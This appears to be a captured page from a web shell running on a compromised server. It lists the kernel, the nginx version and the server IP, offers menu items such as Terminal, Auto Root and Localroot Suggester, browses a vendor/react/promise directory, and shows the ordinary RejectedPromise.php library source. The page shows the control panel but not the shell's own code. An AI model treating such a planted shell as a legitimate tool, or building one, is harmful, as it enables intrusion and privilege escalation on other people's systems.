Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.221.21.111
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
react /
promise /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Exception
[ DIR ]
drwxr-xr-x
2018-06-13 09:00
CancellablePromiseInterface.php
166
B
-rw-r--r--
2018-06-13 09:00
CancellationQueue.php
1.08
KB
-rw-r--r--
2018-06-13 09:00
Deferred.php
1.43
KB
-rw-r--r--
2018-06-13 09:00
ExtendedPromiseInterface.php
766
B
-rw-r--r--
2018-06-13 09:00
FulfilledPromise.php
1.74
KB
-rw-r--r--
2018-06-13 09:00
LazyPromise.php
1.62
KB
-rw-r--r--
2018-06-13 09:00
Promise.php
8.63
KB
-rw-r--r--
2018-06-13 09:00
PromiseInterface.php
320
B
-rw-r--r--
2018-06-13 09:00
PromisorInterface.php
144
B
-rw-r--r--
2018-06-13 09:00
RejectedPromise.php
2.06
KB
-rw-r--r--
2018-06-13 09:00
UnhandledRejectionException.php
611
B
-rw-r--r--
2018-06-13 09:00
functions.php
8
KB
-rw-r--r--
2018-06-13 09:00
functions_include.php
96
B
-rw-r--r--
2018-06-13 09:00
Save
Rename
<?php namespace React\Promise; class RejectedPromise implements ExtendedPromiseInterface, CancellablePromiseInterface { private $reason; public function __construct($reason = null) { if ($reason instanceof PromiseInterface) { throw new \InvalidArgumentException('You cannot create React\Promise\RejectedPromise with a promise. Use React\Promise\reject($promiseOrValue) instead.'); } $this->reason = $reason; } public function then(callable $onFulfilled = null, callable $onRejected = null, callable $onProgress = null) { if (null === $onRejected) { return $this; } try { return resolve($onRejected($this->reason)); } catch (\Throwable $exception) { return new RejectedPromise($exception); } catch (\Exception $exception) { return new RejectedPromise($exception); } } public function done(callable $onFulfilled = null, callable $onRejected = null, callable $onProgress = null) { if (null === $onRejected) { throw UnhandledRejectionException::resolve($this->reason); } $result = $onRejected($this->reason); if ($result instanceof self) { throw UnhandledRejectionException::resolve($result->reason); } if ($result instanceof ExtendedPromiseInterface) { $result->done(); } } public function otherwise(callable $onRejected) { if (!_checkTypehint($onRejected, $this->reason)) { return $this; } return $this->then(null, $onRejected); } public function always(callable $onFulfilledOrRejected) { return $this->then(null, function ($reason) use ($onFulfilledOrRejected) { return resolve($onFulfilledOrRejected())->then(function () use ($reason) { return new RejectedPromise($reason); }); }); } public function progress(callable $onProgress) { return $this; } public function cancel() { } }